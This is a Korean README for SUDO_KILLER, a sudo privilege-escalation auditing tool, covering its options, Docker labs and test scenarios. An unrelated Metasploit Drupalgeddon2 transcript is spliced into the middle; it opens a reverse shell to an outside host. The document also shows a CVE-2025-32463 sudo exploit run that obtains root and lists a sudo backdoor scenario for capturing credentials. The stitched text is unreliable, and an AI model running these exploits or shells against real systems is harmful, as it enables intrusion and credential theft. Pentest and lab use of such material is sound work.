
Unix 계열 시스템에서 sudo 프로그램의 권한 상승 취약점을 악용하기 위해 설계된 도구입니다. 이 도구는 sudo의 특정 잘못된 구성이나 결함을 이용하여 시스템에서 상승된 권한을 획득하며, 기본적으로 일반 사용자가 루트 사용자로 명령을 실행할 수 있게 합니다.
⭐ GitHub에서 별표를 눌러 지지를 보여주세요!
💡 다크 모드에서 가장 잘 보입니다 :)
SUDO_KILLER 프로젝트는 2023년 SANS Difference Award 오픈소스 도구 부문 결선에 진출했습니다.
SUDO_KILLER는 사이버 보안 실무자(침투 테스터, 보안 감사자, 시스템 관리자, CTF 플레이어, 정보보안 학생)를 대상으로 하는 도구로, Linux 환경에서 권한 상승을 용이하게 합니다. 이 도구는 sudo 규칙의 잘못된 구성, 버전 기반 취약점(CVE 및 기타 취약점), 위험한 바이너리 배포(GTFOBINS) 등 SUDO 사용과 관련된 취약점에 초점을 맞춥니다. 이러한 약점은 ROOT 수준의 권한을 얻거나 다른 사용자로 가장하는 데 악용될 수 있습니다.
SUDO_KILLER는 수동 권한 상승을 위한 잠재적인 명령과 로컬 익스플로잇 카탈로그를 제공합니다. 중요한 점은 자동화된 익스플로잇을 수행하지 않으며, 사용자가 의도된 사용법에 따라 직접 익스플로잇 과정을 수행해야 한다는 것입니다.
다음은 SUDO_KILLER가 수행하는 점검 목록입니다.
[!WARNING] 위 점검 목록은 완전하지 않습니다.
SUDO_KILLER를 시작하려면 git clone을 하거나 zip 파일을 다운로드하면 됩니다. 연습 및/또는 테스트를 원한다면 취약한 테스트 환경(도커 사용)이 있습니다. 도커 설정 및 SUDO_KILLER 실행 방법에 대한 개요를 제공하는 관련 동영상을 참조하세요. 도커 환경에서 여러 시나리오를 설정할 수 있으며, 다양한 잘못된 구성이나 결함을 테스트하는 데 사용할 수 있습니다. 또는 감사할 시스템에서 실행하여 sudo 관련 잘못된 구성 및/또는 결함을 확인할 수 있습니다.```shell ./SUDO_KILLERv.sh -c -a -e -r report.txt -p /tmp
Optional arguments:
</br>-c : CVE 점검 포함
</br>-a : 타사 앱/장치 관련 CVE 포함
</br>-i : extract.sh로부터 가져오기 (오프라인 모드)
</br>-e : sudo 규칙 / sudoers 파일 내보내기 포함
</br>-r : 보고서 이름 (출력 저장)
</br>-p : 내보내기 및 보고서 저장 경로
</br>-s : sudo 점검을 위한 사용자 비밀번호 제공 (현재 사용자의 비밀번호 없이 sudo 규칙에 접근할 수 없는 경우)
</br>-h : 도움말
> [!NOTE]
> -c 인수를 사용할 때 두 가지 유형의 점검이 제공된다는 점에 주목할 만합니다. 하나는 식별된 CVE가 현재 사용 중인 sudo 버전에만 기반하는 것이고, 다른 하나는 요구 사항도 함께 확인하는 것입니다.
> 매우 흔히, sudo 버전이 취약할 수 있지만 성공적인 악용을 위해 일부 전제 조건이 필요할 수 있습니다.
> [!NOTE]
> 비밀번호 제공: sudo -l을 실행하는 데 비밀번호가 필요한 경우, -s 인수로 비밀번호를 제공하지 않으면 스크립트가 작동하지 않습니다.
<a name="docker"></a>
### Docker (Vulnerable testing environment)
<p align="left">
<img width="25%" src="https://raw.githubusercontent.com/TH3xACE/res/main/SK/docker.gif" alt="-dockerlogo"/>
</p>
다양한 Docker 컨테이너가 제공되어 `SUDO_KILLER` 및 취약점을 테스트하고 직접 실험할 수 있는 의도적으로 취약한 환경을 제공합니다.```shell
service docker start
docker pull th3xace/sudo_killer_demo3
docker run --rm -it th3xace/sudo_killer_demo3
(This docker is only to test the CVE-2019-18634 (pwfeedback))
service docker start
docker pull th3xace/sudo_killer_demo2
docker run --user 1000 --rm -it th3xace/sudo_killer_demo2
우리는 간단히 쿠키 캡처를 활성화하고 악성 서버의 IP를 가리키기만 하면 됩니다:
msf5 exploit(multi/http/drupal_drupageddon) > set targeturi /drupal-7.57
targeturi => /drupal-7.57
msf5 exploit(multi/http/drupal_drupageddon) > set rhosts 172.17.0.2
rhosts => 172.17.0.2
msf5 exploit(multi/http/drupal_drupageddon) > set verbose true
verbose => true
msf5 exploit(multi/http/drupal_drupageddon) > run
[*] Started reverse TCP handler on 10.0.0.1:4444
[*] Drupal targeted version is 7.57
[*] Selected cache attack headers {"Vary":"User-Agent,Accept-Encoding"}
[*] Sending pre-verification ...
[*] Sending malicious curl arguments ...
[*] Sending pre-verification ...
[*] Sending registration form ...
[*] Executing the input method payload ...
[*] Sending pre-verification ...
[*] Command shell session 1 opened (10.0.0.1:4444 -> 172.17.0.2:38182) at 2018-04-20 11:04:11 +0000
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),115(docker)
위 예제에서는 아주 단순한 cmd 셸을 얻었습니다. www-data 사용자로서 Drupalgeddon2 CVE-2018-7600 취약점은 호스트를 장악하기 위해 다른 권한 상승을 필요로 하지 않아야 합니다. 도커 컨테이너가 PHP 아파치 워커를 사용하므로 셸 파라미터를 php로 변경하면 더 나은 PHP meterpreter 세션을 얻을 수 있습니다. OS가 리눅스이므로 더 나은 셸을 얻기 위해 타겟을 Unix In-Memory로 설정할 수도 있습니다.
아래 시나리오에서는 meterpreter 접근 권한을 가진 php 셸을 결과로 얻는 작동하는 익스플로잇을 가정합니다.
1) 첫 번째 시나리오는 직접 공격에 대한 포괄적인 경우로, 공격자가 인터넷을 통해 취약한 호스트에 직접 접근할 수 있는 상황입니다. 이때 사용할 공격 시나리오는 타겟 0 (PHP In-Memory)입니다. 공격자는 MSF 콘솔에서 cmd 셸, php 셸, 또는 다른 유닉스 타겟을 선택할 수 있습니다.
2) 두 번째 시나리오는 reverse-tcp 보호 우회로, 공격자가 방화벽이나 NAT 뒤에 있는 호스트를 공격하여 인터넷에서 직접 서버에 접근할 수 없는 경우입니다. 이 경우 공격 시나리오는 유사하지만, RHOST가 Drupal 백엔드로 HTTP 요청을 적절히 전달하는 프록시 호스트(예: nginx)를 가리킨다는 점이 다릅니다. 따라서 이 경우 공격은 간접적입니다.
MSF로 호스트를 대상화하는 것은 정확히 동일하며 다른 변수는 없어야 합니다.
3) 세 번째 시나리오는 조직이 내부/인트라넷 네트워크에 내부 호스팅된 웹앱으로 영향을 받는 Drupal을 운영하는 경우입니다. 이때 공격자는 내부 불만 직원이거나 이미 경계 장치나 내부 워크스테이션을 침해한 공격자일 수 있습니다.
다음 명령어를 실행하세요:
docker pull knqyf263/drupal:cve-2018-7600 — dockerhub에서 이미지를 가져옵니다 (CVE-2018-7602용 7.58 버전도 있습니다).docker run -d -p 8080:80 knqyf263/drupal:cve-2018-7600 — 컨테이너를 백그라운드 모드로 시작합니다.docker ps로 컨테이너가 0.0.0.0:8080에서 실행 중인지 확인해야 합니다.curl로 테스트:```shell
(This docker is only to test the CVE-2025-32463 (chwoot)) -> Credits to author
$ git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot.git
$ cd CVE-2025-32463_chwoot
$ service docker start $ ./run.sh
pwn@f722d9182d1f:~$ ./sudo-chwoot.sh id woot! uid=0(root) gid=0(root) groups=0(root),1001(pwn)
pwn@f722d9182d1f:~$ ./sudo-chwoot.sh woot!
root@f722d9182d1f:/# id uid=0(root) gid=0(root) groups=0(root),1001(pwn)
## 비밀번호 없이 "sudo -l"을 실행할 수 있는 이유는 무엇인가요?
기본적으로, NOPASSWD 태그가 호스트의 사용자 항목 중 하나라도 적용되어 있으면 비밀번호 없이 "sudo -l"을 실행할 수 있습니다. 이 동작은 verifypw 및 listpw 옵션을 통해 재정의될 수 있습니다.
그러나 이러한 규칙은 현재 사용자에게만 영향을 미치므로, 사용자 가장이 가능한 경우(su 사용)에도 이 사용자로부터 sudo -l을 실행해야 합니다.
때로는 비밀번호 없이 sudo -l에 접근할 수 없더라도 /etc/sudoers 파일을 읽을 수 있습니다.
<a name="scenarios"></a>
## 시나리오
docker(demo3)에서 시나리오를 전환하려면 (서로 다른 시나리오 간의 충돌을 방지하기 위해):```shell
switchScenario <scenario_number>
Available scenarios: 0 to 10
All Scenarios 0 : Conflict might occur!
Scenario 1: [2,3] CVE - Rules
Scenario 2: [4] Excessive permissions
Scenario 2: [5] Excessive permissions (Authentication required)
Scenario 3: [6] User Impersonation
Scenario 4: [7] Common Misconfiguration (Change owner)
Scenario 4: [8,11] Common Misconfiguration (Wildcard)
Scenario 5: [13] Missing scripts from sudo rules
Scenario 6: [17] Dangerous Environment Variables
Scenario 7: [18] Dangerous binaries (gtfobins)
Scenario 8: [19] Recursive Impersonation test
Scenario 9: [20] Environment Path Hijacking
Scenario 10: [21] App Specific sudo vuln/misconfig
Scenario 11: [5] Excessive permissions (Authentication required)
Scenario 12: [16] Backdooring sudo (Credentials Capture)
재생 목록은 여기에서 찾을 수 있습니다: https://www.youtube.com/watch?v=Q8iO9mYrfv8&list=PLQPKPAuCA40FMpMKWZLxQydLe7rPL5bml
[!IMPORTANT] 제공된 Docker에서 테스트를 올바르게 수행하는 방법에 대한 빠른 동영상입니다.